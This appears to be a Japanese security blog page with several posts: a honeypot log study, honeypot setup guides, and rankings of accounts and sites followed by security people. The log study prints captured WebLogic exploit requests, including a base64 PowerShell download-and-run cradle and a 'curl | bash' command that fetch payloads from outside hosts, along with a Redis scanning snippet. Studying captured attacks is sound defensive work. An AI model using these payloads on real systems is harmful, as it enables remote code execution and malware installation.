nanka iroiro

wakaran

ハニーポットを観察してみる その1 -honeytrapのログを漁る-

やったこと

honeytrapを2週間程度動かしてみましたので,特定のポートに絞って出てきたログを簡単に調査しました.調べるネタは他の方のブログやベンダーのレポートなどを参考にしています.

  • 調査期間:2018/3/3 20時頃 - 2018/3/18 0時頃 ※ずっと稼働させていたわけではなかったのでかなり抜けがあります.

おしながき

  1. 6379/TCP
  2. 3333/TCP
  3. 11211/TCP
  4. 7001/TCP
  5. 5984/TCP
  6. おまけ:1911/TCP

6379/TCP

きっかけはTKさんのブログから

6379/tcp宛の通信が一時的に増えたとの事なので自分のところでも調べてみました.

グラフ f:id:waaai_tanoshiiiii:20180321200135p:plain

3/14日辺りに中国から多くのパケットが来ていました.

データ部分をデコードして可読部を残したものが以下になります(結果は一部のみ).

data Count
INFO 558
30
*1$4info 5
*1$4INFO 3
*1$7COMMAND 2
*3$6config$3get$3dir 1
*4$6config$3set$10dbfilename$9backup.db 1

...

一番多いのがINFOという文字列でした.調べてみるとポート6379はRedisで使用されており,更にinfoはredis-serverでバージョン情報などを調べるコマンドであることがわかりました. 更に調べていくとこのようなPoCを見つけました.

sock = self._createSocket()
sock.send("INFO\r\n".encode(encoding='utf-8'))
result = sock.recv(1024)

if "redis_version" in result:
    print("redis-server is vulnerable!")
else:
    print("redis-server is not vulnerable!")

INFOコマンドを送り,返ってきた結果にredis_versionが含まれているか否かで脆弱なredis-serverであるかを判定しています.INFOの部分を変えるといろんなコマンドが送れそうです.対応するCVEを探しましたが見つかりませんでした.

同様にconfig getおよびconfig setで現在の設定の取得と変更ができるそうです.調べていくとこのコマンドを利用して攻撃者の公開鍵などを設定する攻撃が流行っていたそうです

3333/TCP

きっかけは@policeの記事から 

Claymoreを標的としたアクセスが来ていないか調べてみました. ちなみに同記事で取り上げられていた5555/TCPは該当する攻撃は見当たりませんでした.

グラフ f:id:waaai_tanoshiiiii:20180321200153p:plain

データ部分をデコード

data Count
SSH-2.0-libssh2_1.7.0 109
4
/*Cookie: mstshash=Administr 2
{"id":0,"jsonrpc":"2.0","method":"miner_getstat1","psw":""} 1

大部分がsshの探索っぽいパケットですが,Claymoreのスキャンっぽいパケットが1件だけ,3月12日にハンガリーからきていました.

{"id":0,"jsonrpc":"2.0","method":"miner_getstat1","psw":""}

パスワードが空のClaymoreを探索しているようです. Claymoreが稼働していた場合,バージョンなどの情報が返ってくるそうです

11211/TCP

何かと話題になっているmemcached 

DoS攻撃を行うときはUDPでアクセスしますがTCPの方にもそれらしきパケットが来ていました.脆弱性修正前はデフォルトでTCP,UDPどちらも開いていたようなので,TCPでのアクセスは調査目的だと考えられます.

グラフ f:id:waaai_tanoshiiiii:20180321200218p:plain

データ部分をデコード(一部)

data Count
59
stats 23
0` 3
:/@=/@ 3
DmdT 3
GET / HTTP/1.0 3

...

statsコマンドはmemcachedのバージョン情報などを返します.Qiitaなどで返ってくる文字列の例を見ることができますが,これだけでも増幅率高そうですね.投げるパケットによっては51000倍の増幅率になるそうです

UDPパケットも観測していればもっと面白いものも見れたのかなーと思います.その辺りも今後は試してみたいですね.

7001/TCP

きっかけは第三回ハニーポッター技術交流会のネタ

WebLogic脆弱性を突いた攻撃が自分のところにも来ていないか調べました.

グラフ f:id:waaai_tanoshiiiii:20180321200300p:plain

データ部はかなり長いので省略

それっぽい攻撃がいくつかあったので順番に見ていきます.

1つ目...10件

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: *.*.*.*:7001
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.0
Connection: CloseContent-Type: text/xml
Content-Length: 1090
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8.0_131" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
  <array class="java.lang.String" length="3">
      <void index="0">
            <string>cmd.exe</string>
      </void>    
      <void index="1">      
            <string>/c</string>    
      </void>    
      <void index="2">      
            <string>START PowerShell.exe -NoP -NonI -EP ByPass -W Hidden -E JABXAEMAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABXAEMALgBIAGUAYQBkAGUAcgBzAC4AQQBkAGQAKAAnAFUAcwBlAHIALQBBAGcAZQBuAHQAJwAsACcAUABvAHcAZQByAFMAaABlAGwAbAAgAHYAMgAuADAAJwApADsASQBFAFgAIAAkAFcAQwAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwA1ADkALgAxADIANgAuADAALgAxADgAMwAvAGMAcwBzAC8AaQBtAGEAZwBlAHMALwBEAEwALgBwAGgAcAAnACkAOwA=</string>    
      </void>  
  </array>    
  <void method="start"/>
</void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

10件のパケットはbase64の中身が異なっていました.base64をデコードしたものの一例を示します.

$WC=New-Object System.Net.WebClient;$WC.Headers.Add('User-Agent','PowerShell v2.0');IEX $WC.DownloadString('http://*.*.*.*/css/images/DL.php');

攻撃者のサーバにあるDL.phpをダウンロードさせようとしていることが分かります.

2つめ...2件

POST /wls-wsat/CoordinatorPortType
HTTP/1.1Host: *.*.*.*:7001
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0)
Gecko/20100101 Firefox/56.0
Content-Type: text/xml;charset=UTF-8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Content-Length: 1059    
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">        
<soapenv:Header>            
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">                
<java version="1.8.0_131" class="java.beans.XMLDecoder">                    
  <void class="java.lang.ProcessBuilder">                        
    <array class="java.lang.String" length="3">                            
      <void index="0">                                
        <string>/bin/bash</string>                            
      </void>                            
      <void index="1">                                
        <string>-c</string>                            
      </void>                            
      <void index="2">                                
        <string>curl -fsSL http://*.*.*.*:5050/mrx1 | bash</string>                            
      </void>                        
    </array>                    
    <void method="start"/>
  </void>                
</java>            
</work:WorkContext>        
</soapenv:Header>        
<soapenv:Body/>    
</soapenv:Envelope>  

2つのパケットは同じIPから来ていましたが,内容はLinuxコマンドを用いるかpowershellを用いるかの違いでした.windowsLinuxの両方を標的にしていることがわかります.こちらはmrx1なるファイルをダウンロードさせようとしていました.

5984/TCP

きっかけはハニーポッター向けのslackで出てきたネタ

トレンドマイクロのブログでも取り上げられています.Apache CouchDBを標的にしたアクセスが来ていないか調べてみました.

グラフ f:id:waaai_tanoshiiiii:20180321200315p:plain

データ部分をデコード(一部)

data Count
GET / HTTP/1.1Host: *:*:*:*:5984Accept-Encoding: identity 2
2
GET /_all_dbs HTTP/1.1Host: *:*:*:*Connection: close 1
GET / HTTP/1.1Host: *:*:*:*Connection: close 1
GET / HTTP/1.1Host: *:*:*:*Cache-Control: no-store,no-cachePragma: no-cacheConnection: Close 1

...

残念ながらトレンドマイクロのブログで紹介されているようなパケットはありませんでした.しかしCouchDBを標的にしたアクセスが一件だけあります.

GET /_all_dbs

これでデータベースの一覧を取得するそうです.こちらを試して然るべきレスポンスがあれば実際の攻撃に移る,と言った感じでしょうか.

おまけ:1911/TCP

最後にログを眺めていて気になった1911/TCPのログを紹介します.

グラフ f:id:waaai_tanoshiiiii:20180321200343p:plain

データ部はこんな感じでした.

fox a 1 -1 fox hello{
  fox.version=s:1.0
  id=i:1
  hostName=s:xpvm-0omdc01xmy
  hostAddress=s:*.*.*.*
  app.name=s:Workbench
  app.version=s:3.7.44
  vm.name=s:Java HotSpot(TM) Server VM
  vm.version=s:20.4-b02
  os.name=s:Windows XP
  os.version=s:5.1
  lang=s:en
  timeZone=s:America/Los_Angeles;-28800000;3600000;02:00:00.000,wall,march,8,on or after,sunday,undefined;02:00:00.000,wall,november,1,on or after,sunday,undefined
};;

調べてみると,nmapのgithubページに当たりました. どうやらNiagara AX TridiumにはInformation Disclosureの脆弱性があるらしいです.以下のような感じでnmapコマンドを打つと,Niagara AXが動いているサーバの情報が取れるようです.

nmap -p 1911 –script fox-info.nse $(IPAddr)

でもそれだったらリクエストにhostnameとかの情報が乗っているのはおかしくないですかね...と思い調べているとこのようなスクリプトを見つけました

上記コードのorig_query変数で定義される値をデータ部に入れてパケットを送っていますが,このデータ部が今回取得されたパケットのデータ部と一致していました. もしかすると何か意味があるのかもしれないですが,これ以上のことは調べてみてもわかりませんでした.

まとめ

今回はhoneytrapで取得したパケットを,特定のポートに絞って調べてみました.honeytrapの性質上,大体が調査目的のものでしたが,眺めているだけでも結構面白かったです.またネタが溜まったら書いてみようと思います.

俺、ハニーポッターになります その2 - honeytrapを構築してみた -

はじめに

ハニーポッター向けのslackにて,皆様のハニーポットに来た攻撃を見ているうちに,様々なポートに来た攻撃を見れるhoneytrapなるハニーポットに興味を持ちました.大抵これを使っている人はT-POTを使っているのですが,リソース的にT-POTを使うのが厳しいため,単体で構築してみました.

インストールと起動まで

まずはiptablesを編集してパケットを取得できるようにします.

*filter
(省略)
-A INPUT -m state --state NEW -m tcp -p tcp --dport 22 -j ACCEPT
-A INPUT -m state --state NEW -m tcp  -p tcp --dport 80 -j ACCEPT
-A INPUT -p tcp --syn -m state --state NEW -j NFQUEUE
COMMIT

追加したのはCOMMITの前の行です.これにより,この行より上で処理されていないTCPパケットをNFQUEUEに送ります.NFQUEUEに送ったパケットをhoneytrapが読み取り,レスポンスを返す,ログを残すなどの処理を行うというイメージです(多分). (ここをudpにするとUDPパケットも同様に取得できると考えられますが未検証です.)

構築はdockerでやります.どう作ろうか悩んだんのですが,結局T-POTで使うイメージを使用するのが手っ取り早いということがわかりました.docker-compose.ymlもgithubページのものとほとんど変わらないです.

version: '2.0'
services:
  honeytrap:
    container_name: honeytrap
    restart: always
    network_mode: "host"
    cap_add:
     - NET_ADMIN
    image: "dtagdevsec/honeytrap:1710"
    volumes:
     - ./attack:/opt/honeytrap/var/attacks
     - ./download:/opt/honeytrap/var/downloads
     - ./log:/opt/honeytrap/var/log
network_mode: "host"

でホストのインターフェースをそのまま使用するようです.これにより,dockerの中からホストにくるパケットを監視できます. また

cap_add:
  - NET_ADMIN

でネットワーク関連の権限を与えています.

コンテナを定期的に再作成する

仮にpwnをされても被害を最小限に食い止めるために,毎日0時にコンテナを再作成するように設定しておきます.crontabに以下を記述しました.

docker-compose --file /(docker-compose.ymlのパス)/docker-compose.yml down -v && docker-compose --file /(docker-compose.ymlのパス)/docker-compose.yml up -d

まとめ

今回はhoneytrapを構築してみました.とりあえずしばらくはどんなログが取れるかを見てみたいと思います.

俺、ハニーポッターになります その1 -WOWHoneypotを構築してみた-

やったこと

ハニーポットを構築して出てくるログを観測してみました.

使用するハニーポット

morihi-socさんのWOWHoneypotを使用してみます.

構築

dockerで作ります.

Dockerfile

FROM debian:jessie-slim

RUN groupadd -g 1000 wow && \
    useradd -g 1000 -d /wow -m -g wow wow
RUN apt-get update && \
    apt-get install -y git python3
RUN su - wow -c "git clone https://github.com/morihisa/WOWHoneypot.git /wow/wowhoneypot"

USER wow
WORKDIR /wow/wowhoneypot
CMD [ "/usr/bin/python3", "/wow/wowhoneypot/wowhoneypot.py"]

docker-compose.yml

version: "2.0"
services:
  wow:
    build: .
    restart: always
    ports:
      - "80:8080"
    volumes:
      - "./log:/wow/wowhoneypot/log"

80番ポートを開けて起動

docker-compose up -d

観測

とりあえずkibanaを利用してログを見てみます. 日別のグラフです.

f:id:waaai_tanoshiiiii:20180225215920p:plain

24日間で合計15992件のアクセスがありました. ただしその殆どが2月11日〜12日と17日に集中していることがわかります.今回は手始めに大量に出ているログの原因を探ります.

11-12日に観測されたログは以下のようになっていました.ログは一部隠してます.

{
  "uri_version": "HTTP/1.1",
  "status": "401",
  "timestamp": "2018-02-12T11:59:56+0900",
  "mrrid": "1032",
  "id": "2018-02-12T11:59:56+0900-2760",
  "src_ip": "***.***.***.***",
  "header": {
    "Host": "***.***.***.***",
    "Content-Type": " application/x-www-form-urlencoded",
    "Authorization": " Basic cm9vdDpwYSQkdzByZDE="
  },
  "dst_port": "80",
  "path": "/manager/html",
  "dst_ip": ""***.***.***.***,
  "method": "GET",
  "geoip_country": "HK",
  "geoip_city": null
}

このような/manager/htmlへのアクセスが8000件近くありました.Authorizationヘッダをデコードすると

Basic root:pa$$w0rd1

となっていました.Tomcatの管理マネージャのログインページ(Basic認証)にブルートフォースしているようです.

次に17日のログをみてみます.

{
  "status": "200",
  "uri_version": "HTTP/1.1",
  "timestamp": "2018-02-17T13:40:00+0900",
  "mrrid": "1011",
  "id": "2018-02-17T13:40:00+0900-2245",
  "src_ip": "***.***.***.***",
  "header": {
    "Content-Length": " 119",
    "Cookie2": " $Version=\"1\"",
    "Accept-Language": " pt-br",
    "Host": "***.***.***.***",
    "Accept": " */*",
    "User-Agent": " Mozilla/5.0 (X11; U; Linux i686; pt-BR; rv",
    "Connection": " Close, TE",
    "Cookie": " wordpress_test_cookie=WP+Cookie+check",
    "Pragma": " no-cache",
    "TE": " deflate,gzip;q=0.3",
    "Content-Type": " application/x-www-form-urlencoded"
  },
  "dst_port": "80",
  "dst_ip": "***.***.***.***",
  "path": "/blog//wp-login.php",
  "post": "log=webmaster&pwd=madison&wp-submit=Login&redirect_to=http%3A%2F%2F***.***.***.***%2F/blog/%2Fwp-admin%2F&testcookie=1\r\n",
  "method": "POST",
  "geoip_country": "NL",
  "geoip_city": "Amsterdam"
}

パスは//wp-login.php/blog//wp-login.php/wordpress//wp-login.php/wp//wp-login.php が約1500件ずつあり,POSTのデータに様々なユーザ名とパスワードを入れてアクセスしていました. こちらはwordpressの管理マネージャのログインページにブルートフォースをかけているようです.

これらはマッチ&レスポンスのルールに設定されています.ルールのIDはmrridフィールドの値です. 今回の場合11-12日に観測されたリクエストのmrridは1032(Tomcat manager),17日に観測されたリクエストのmrridは1011(WordPress login page)となっていました.

mrrid1011のルールを見てみます.ルールはart/mrrules.xmlに記載されています.

<mrr>
  <meta>
    <mrrid>1011</mrrid>
    <enable>True</enable>
    <note>WordPress login page</note>
  </meta>
  <trigger>
    <uri>/wp-login.php</uri>
  </trigger>
  <response>
    <status>200</status>
    <header>
      <name>Set-Cookie</name>
      <value><![CDATA[wordpress_test_cookie=WP+Cookie+check; path=/]]></value>
    </header>
    <body filename="wp-login.html"></body>
  </response>
</mrr>

ざっくりと見た感じ<trigger>にかかれていたルールにマッチした時に,<response>に書かれている内容で返すようです. この場合だとURI/wp-login.phpが含まれている時に予め用意されていたwp-login.htmlを返すようです. この設定により攻撃者が気持ち良くブルートフォースできるということですね.

まとめ

今回はWOWHoneypotを構築し,ログを簡単に見てみました. 他のWebハニーポットは触ったことないのですが,少なくともWOWHoneypotは起動も簡単で,とても使いやすいハニーポットだと感じました. 今後は他のログの解析なども行っていきたいです.

セキュリティ界隈の方々が普段どんなサイトを見ているかtwitterの情報から調べてみる

やったこと

前回の記事を書いた時にもうひとつやってみたかったことがあったので書きました.

今度はセキュリティ界隈の方々がツイートしているFQDNを集計してみました.

収集期間と対象アカウント

  • 期間: 2017年7月1日 - 2018年1月20日頃
  • 対象アカウント: 上記記事で出したランキングから,企業アカウントを除いた上位100名のアカウント

結果

対象期間の約200日間で合計33598個のURL付きツイートが呟かれていました.おおよそ1人あたり1〜2個/日ほどのURLが呟かれていることになります.ちなみにURLのツイート数が最も多かったのはpiyokangoさんで2780個でした.

呟かれたFQDNのTOP50を以下に示します.ニュース系は青色にしています.単純な個数であるため,一アカウントが大量に呟いた場合もランキング上位に来ることをご了承ください.

rank fqdn name num
1 www.swarmapp.com Swarm Remember everywhere. 1173
2 www3.nhk.or.jp NHKオンライン 837
3 github.com The world's leading software development platform · GitHub 741
4 www.itmedia.co.jp IT総合情報ポータル「ITmedia 682
5 qiita.com Qiita - A technical knowledge sharing platform for programmers. 590
6 togetter.com まとめよう、あつまろう - Togetter 582
7 www.nikkei.com 経済、株価、ビジネス、政治のニュース:日経電子版 555
8 www.sankei.com 産経ニュース 539
9 itpro.nikkeibp.co.jp ITpro - エンタープライズICTの総合情報 497
10 www.asahi.com 朝日新聞デジタル朝日新聞社のニュースサイト 491
11 www.instagram.com Instagram 474
12 headlines.yahoo.co.jp Yahoo!ニュース 435
13 www.amazon.co.jp Yahoo!ニュース 373
14 www.youtube.com YouTube 370
15 www.slideshare.net Share and Discover Knowledge on LinkedIn SlideShare 353
16 speakerdeck.com Speaker Deck - Share Presentations without the Mess 340
17 mainichi.jp 毎日新聞のニュース・情報サイト 303
18 japan.zdnet.com ZDNet Japan--CIOとITマネージャーの課題を解決するオンラインメディア 278
19 news.yahoo.co.jp Yahoo!ニュース 255
20 hyuki0000.sarahah.com Sarahah - Hiroshi Yuki / 結城浩 226
21 www.geekpage.jp [インターネット技術メモ]:Geekなぺーじ 216
22 www.yomiuri.co.jp ニュース速報:読売新聞(YOMIURI ONLINE 213
23 news.livedoor.com ライブドアニュースlivedoor ニュース) 210
24 internet.watch.impress.co.jp インターネットと情報セキュリティの最新ニュース - INTERNET Watch 191
24 pc.watch.impress.co.jp PC/テクノロジーの総合情報サイト - PC Watch 191
26 gigazine.net GIGAZINE(ギガジン) - スマホの写真やイラストをフィルム写真として残せる「プリントス」を使ってみました 187
26 nlab.itmedia.co.jp 気になる・人に話したいネットの旬ネタをお届け - ねとらぼ 187
28 jp.techcrunch.com TechCrunch Japan - 最新のテクノロジーとスタートアップ・Webに関するニュースを配信するブログメディア 158
28 ask.fm Ask and Answer - ASKfm 158
30 www.facebook.com Facebook - ログインまたは登録 152
31 japan.cnet.com CNET Japan 151
32 www.jiji.com 時事ドットコム時事通信社が運営するニュースサイト 149
33 www.nicovideo.jp niconico 145
34 utabami.com うたばみ 143
35 ch.nicovideo.jp ニコニコチャンネル 140
36 d.hatena.ne.jp はてなダイアリー - 写真・画像・動画付き日記を無料で 139
37 this.kiji.is this.kiji.is 138
38 news.mynavi.jp マイナビニュース 137
39 www.publickey1.jp Publickey - Enterprise IT × Cloud Computing × Web Technology / Blog 129
40 path.com Path 125
41 mm.hyuki.net 結城浩 123
42 note.mu note ――つくる、つながる、とどける。 122
42 ascii.jp ASCII.jp - トップ 122
44 www.afpbb.com 国際ニュース:AFPBB News 121
45 www.atmarkit.co.jp ITエキスパートのための問題解決メディア - @IT 119
45 jp.reuters.com ロイター 経済、株価、ビジネス、政治ニュース 119
47 peing.net 匿名で質問を受け取れる質問箱を作ろう! Peing 118
48 www.security-next.com セキュリティ、個人情報の最新ニュース:Security NEXT 114
49 dev.classmethod.jp クラスメソッド発のAWS/iOS/Android技術者必読メディア Developers.IO 111
50 newspicks.com NewsPicks 110

IT系に特化したニュースサイトが上位に連なるのではないかと予想していたのですが,www3.nhk.or.jp(NHK)やwww.nikkei.com(日経),www.sankei.com(産経), www.asahi.com(朝日)などの普通のニュースサイトが上位に多くありました.この中の「セキュリティ」タグを中心に見ているものと考えられます.

せっかくなので200位くらいまで見て,いくつかピックアップしてみました.分類は適当です.目視で作成したため,ミスがあった場合は申し訳ございません.

  • IT/セキュリティ系ニュースサイト
rank fqdn name num
54 japanese.engadget.com Engadget 日本版 : 最新ガジェットと家電、テクノロジーのニュースとレビュー 103
57 forest.watch.impress.co.jp Windowsアプリ・フリーソフトのおすすめ情報 - 窓の杜 100
62 the01.jp THE ZERO/ONE 94
108 www.gizmodo.jp ギズモード・ジャパン 日本最大級のガジェット&テクノロジーサイト 43
120 akiba-pc.watch.impress.co.jp アキバのPCパーツとスマホの総合サイト - AKIBA PC Hotline! 39
148 www.segunabe.com せぐなべ – 認証とセキュリティを楽しく、わかりやすく伝える情報サイト 31
159 k-tai.watch.impress.co.jp スマホ&携帯電話の最新情報・ニュース - ケータイ Watch 27
167 av.watch.impress.co.jp オーディオ・ビジュアル総合情報サイト - AV Watch 25
167 scan.netsecurity.ne.jp ScanNetSecurity[国内最大級のサイバーセキュリティ専門ポータルサイト] 25
181 cloud.watch.impress.co.jp 法人向けIT・クラウドソリューションの最新ニュース - クラウド Watch 23
185 srad.jp スラド -- アレゲなニュースと雑談サイト 22
  • セキュリティ関連企業・組織・機関(国内)
rank fqdn name num
51 www.ipa.go.jp IPA 独立行政法人 情報処理推進機構 109
51 www.jpcert.or.jp JPCERT コーディネーションセンター 109
70 www.mbsd.jp セキュリティ診断なら三井物産セキュアディレクション株式会社 83
71 www.cc.uec.ac.jp 国立大学法人 電気通信大学 情報基盤センター 81
75 www.lac.co.jp セキュリティ対策のラック|情報を守るセキュリティ対策のパイオニア 68
84 blog.trendmicro.co.jp トレンドマイクロ セキュリティブログ 56
101 www.microsoft.com 日本マイクロソフト - Official Home Page 48
161 www.kdl.co.jp Kobe Digital Labo 神戸デジタル・ラボ 26
167 www.nisc.go.jp 内閣サイバーセキュリティセンター 25
185 www.npa.go.jp 警察庁Webサイト 22
  • セキュリティ関連企業・組織・機関(海外)
rank fqdn name num
82 blogs.technet.microsoft.com TechNet Blogs – Get the latest information, insights, announcements, and news from Microsoft experts and IT professionals in the TechNet blogs. 61
98 www.owasp.org OWASP 49
130 blogs.msdn.microsoft.com MSDN Blogs – Get the latest information, insights, announcements, and news from Microsoft experts and developers in the MSDN blogs. 36
150 blog.trendmicro.com Simply Security News, Views and Opinions from Trend Micro, Inc 30
159 blog.talosintelligence.com Cisco's Talos Intelligence Group Blog 27
196 www.fireeye.com Cyber Security & Malware Protection FireEye FireEye 21
  • 海外のニュースサイトとか
rank fqdn name num
63 medium.com Medium – Read, write and share stories that matter 91
65 www.bleepingcomputer.com BleepingComputer.com - News, Reviews, and Technical Support 88
78 www.bloomberg.co.jp Bloomberg.co.jp - Bloomberg 64
98 www.bbc.com BBC - Homepage 49
104 www.aljazeera.com Breaking News, World News & Video from Al Jazeera 45
131 arstechnica.com Ars Technica 35
136 www.theregister.co.uk The Register: Sci/Tech News for the World 34
139 thehackernews.com The Hacker News — Online Cyber Security News & Analysis 32
161 securelist.com Securelist - Information about Viruses, Hackers and Spam 26
175 securityaffairs.co Security Affairs 24
181 www.phoronix.com Linux Hardware Reviews, Open-Source Benchmarks & Linux Performance - Phoronix 23
185 krebsonsecurity.com Krebs on Security 22
196 motherboard.vice.com Motherboard - The future is wonderful, the future is terrifying. 21
196 blog.malwarebytes.com Motherboard - The future is wonderful, the future is terrifying. 21
  • その他 個人のブログとか
rank fqdn name num
82 blog.tokumaru.org 徳丸浩の日記 61
150 r00tapple.hatenablog.com 黒林檎のお部屋♬ 30
155 tigerszk.hatenablog.com とある診断員の備忘録 29

まとめ

今回はセキュリティ界隈の方々がツイートしているFQDNを集計してみました.ここまで書いて何ですが,ざっと調べてみた所感としては人によってツイートするサイトがかなり違うので,自分がどういったところで情報収集するかを考えるときは,追っかけてる人のツイートを見て,どういったサイトをツイートしているのかを見ていくのが一番良いのではないかと思いました.

セキュリティ界隈の方々って誰をフォローしてるの?のその後

はじめに

思ったより多くの方々に見ていただいたようで,非常に驚います.ブックマークしてくれた方,いいねしてくれた方,ツイートしてくれた方,ありがとうございます!!今回はこの記事への反応を見て書きたくなったことを書きます.

その前に

セキュリティ界隈、誰をフォローしたら良いの?二番煎じで考えてみた。

やまざきkei5さんも解析したようです.こちらは特定のハッシュタグを含むツイートをした人を対象としています.#ssmjpのほかにもCODE BLUEやSECCCONなども対象になっているので,こちらの方が正確です.やまざきkei5さんありがとうございます!!!

#ssmjpを対象とした件について

やまざきkei5さんの記事でも言及していた通り #ssmjpはセキュリティ勉強会ではありません. それでも#ssmjpを選んだ理由は,セキュリティ技術者が多く参加していて,直近の勉強会開催頻度も多く,そして私が参加したことのある勉強会であるからです.

とにかく今回は #ssmjpはITインフラ系勉強会である ということだけでも覚えていただけると嬉しいです.紛らわしい記事を書いて申し訳ございませんでした.

対象の偏り

前回記事は#ssmjpのみを対象としているため,出てくるランキングも偏ったものになります.前回結果の場合だと#ssmjpの関係者や発表者などは順位が高くなる傾向にあると考えられます.

対象の勉強会を変えるだけでもランキングは異なったものになります.例えば,濱せっく勉強会参加者で集計した場合のTop20はこのようになります(97名,1回以上参加,情報取得は2017年1月13日1時頃).#ssmjpでTOP50に入っていないアカウントは太字にしました.

Rank ID Name Count
1 ntsuji 辻 伸弘(nobuhiro tsuji) 69
2 ockeghem 徳丸 浩 65
3 Sh1n0g1 Shøta Shinogۜi🗝 63
3 piyokango piyokango 63
5 ripjyr まっちゃだいふく 59
6 takesako Yoshinori (y0sh1) 58
7 takahoyo ほよたか 57
8 sen_u Sen UENO 55
9 hasegawayosuke Yosuke HASEGAWA 52
10 r00tapple 黒林檎 50
10 secconctf SECCON CTF 50
12 jpcert JPCERTコーディネーションセンター 47
12 lac_security 情報セキュリティのラック 47
14 yamatosecurity yamatosecurity 46
15 bata_24 bata 45
15 kitagawa_takuji 北河拓士 KITAGAWA,Takuji 45
17 codeblue_jp CODE BLUE 44
17 MasafumiNegishi Masafumi Negishi 44
19 ctf4b SECCON Beginners 43
20 security_camp セキュリティ・キャンプ 42
20 tigerszk とある診断員 42
20 ScanNetSecurity ScanNetSecurity 42

Top20のうち,6つのアカウントが#ssmjpの方ではTop50に入っていないという結果になりました.ざっと見た感じ,SECCONやCTF関連のアカウントの順位が全体的に高くなっていました.このように当然ではありますがどこを対象とするかにより結果は大きく変わってきます.そのため前回の結果はあくまでも参考程度でお願いいたします.

海外アカウント限定での集計

海外アカウントが全く無いというツイートがいくつかありました.確かにそのとおりだけど,ちゃんと追っかけている人もいるはずということで海外アカウント限定で集計してみました.対象は前回記事と同じで,出てきた結果について以下の条件に当てはまるアカウントのみを抽出しました. 1. アカウントの言語設定が日本ではない 2. 居住地が日本ではない 3. アカウント名に日本語が含まれない 4. 自己紹介欄に日本語が含まれない 5. 直近の100ツイート(2017年1月13日3時頃取得)について日本語が含まれているツイートが5%以下

条件としては2と5の条件のみで良いのですが,twitterAPIの関係上1から4の条件も入れました.結果はこんな感じです.

Rank ID Name Count
1 ExploitDB Exploit Database 59
2 defcon DEF CON 55
3 Dropbox Dropbox 54
4 BlackHatEvents Black Hat 52
5 TheHackersNews The Hacker News 46
6 mikko Mikko Hypponen 43
7 FireEye FireEye 42
8 kalilinux Kali Linux 39
9 metasploit Metasploit Project 36
10 owasp owasp 35
11 github GitHub 34
12 awscloud Amazon Web Services 33
13 nmap Nmap Project 32
13 malware_traffic Brad 32
13 USCERT_gov US-CERT 32
13 CTFtime All about CTF 32
17 Snowden Edward Snowden 31
17 sans_isc SANS ISC 31
17 Burp_Suite Burp Suite 31
27 Docker Docker 31
21 msftsecurity Microsoft Secure 30
21 echofon echofon 30
21 BillGates Bill Gates 30
21 Google Google 30
25 msftsecresponse Security Response 29
26 kaspersky Kaspersky Lab 28
26 TimMedin Tim Medin 28
28 SANSInstitute SANS Institute 27
28 threatpost Threatpost 27
30 rapid7 Rapid7 26
30 SecurityTube Pentester Academy 26
32 sansforensics SANS DFIR 24
32 symantec Symantec 24
32 offsectraining Offensive Security 24
32 CiscoSecurity Cisco Security 24
32 teamcymru TEAM CYMRU 24
37 SlackHQ Slack 23
38 kafeine Kafeine 22
38 Mandiant Mandiant 22
38 MalwareTechBlog MalwareTech 22
41 OpenStack OpenStack 21
41 LegitBS_CTF Legit BS 21
41 Android Android 21
41 Twitter Twitter 21
41 thedarktangent The Dark Tangent 21
41 McAfee_Labs McAfee Labs 21
47 wikileaks WikiLeaks 20
47 PhysicalDrive0 PhysicalDrive0 20
47 packet_storm packet storm 20
47 TwitPic TwitPic 20
47 virustotal VirusTotal 20

多くが企業アカウントなどで個人アカウントはほとんど出てきませんでした.ただ界隈の方々がチェックしている海外の企業や団体,ニュースサイトなどがなんとなくわかりました. 海外アカウントでの集計は対象アカウントを変えて行うべきですが,どうすればよいかの案が特にないので誰か詳しい方やってください.

さいごに

重ね重ねになりますが前回は多くの方に記事を見ていただきありがとうございます.ただ前回の記事は自分の文章がとても秀逸だったとかではなく他の要因がとても大きいので,もっと素晴らしい記事をかけるようになりたいです.でもこれからも特に目標は定めず,書きたい時に書きたいことを書いていきたいと思います.

セキュリティ界隈の方々って誰をフォローしてるの?

やったこと

twitterをはじめてみたはいいものの誰をフォローしてよいか分からなかったので,セキュリティ界隈の方々のフォロー一覧を取得して集計することにより,フォローする方を決めてみました.

対象ユーザ

今回は#ssmjpのメンバーから以下の条件に当てはまる322名の方々を対象としました.

  1. ssmjpに2回以上参加している
  2. 最終参加日が2015年1月1日以降
  3. twitterと連携している
  4. twitterが鍵垢ではない

結果

322名の方がフォローしていたアカウントTop10はこんな感じです.敬称略です.

Rank ID Name Count
1 ockeghem 徳丸 浩 214
2 ntsuji 辻 伸弘(nobuhiro tsuji) 194
3 piyokango piyokango 180
4 togakushi no root, nobody 179
5 hasegawayosuke Yosuke HASEGAWA 163
6 tigerszk とある診断員 159
7 _ssmjp #ssmjp info 154
8 sen_u Sen UENO 151
9 kitagawa_takuji 北河拓士 KITAGAWA,Takuji 149
10 takesako Yoshinori (y0sh1) 148

やはりお馴染みの方々が目立ちますね.一位の徳丸さんはなんと全体の2/3の方々にフォローされています.またtigerszkさんやtogakushiさんなどの#ssmjpの運営の方々や#ssmjpのインフォメーションアカウントもTop10に入っています.

次に11位から50位です.

Rank ID Name Count
11 ripjyr まっちゃだいふく 146
12 jpcert JPCERTコーディネーションセンター 145
13 MasafumiNegishi Masafumi Negishi 144
14 lumin lumin 131
15 OwaspJapan OWASP Japan Chapter 124
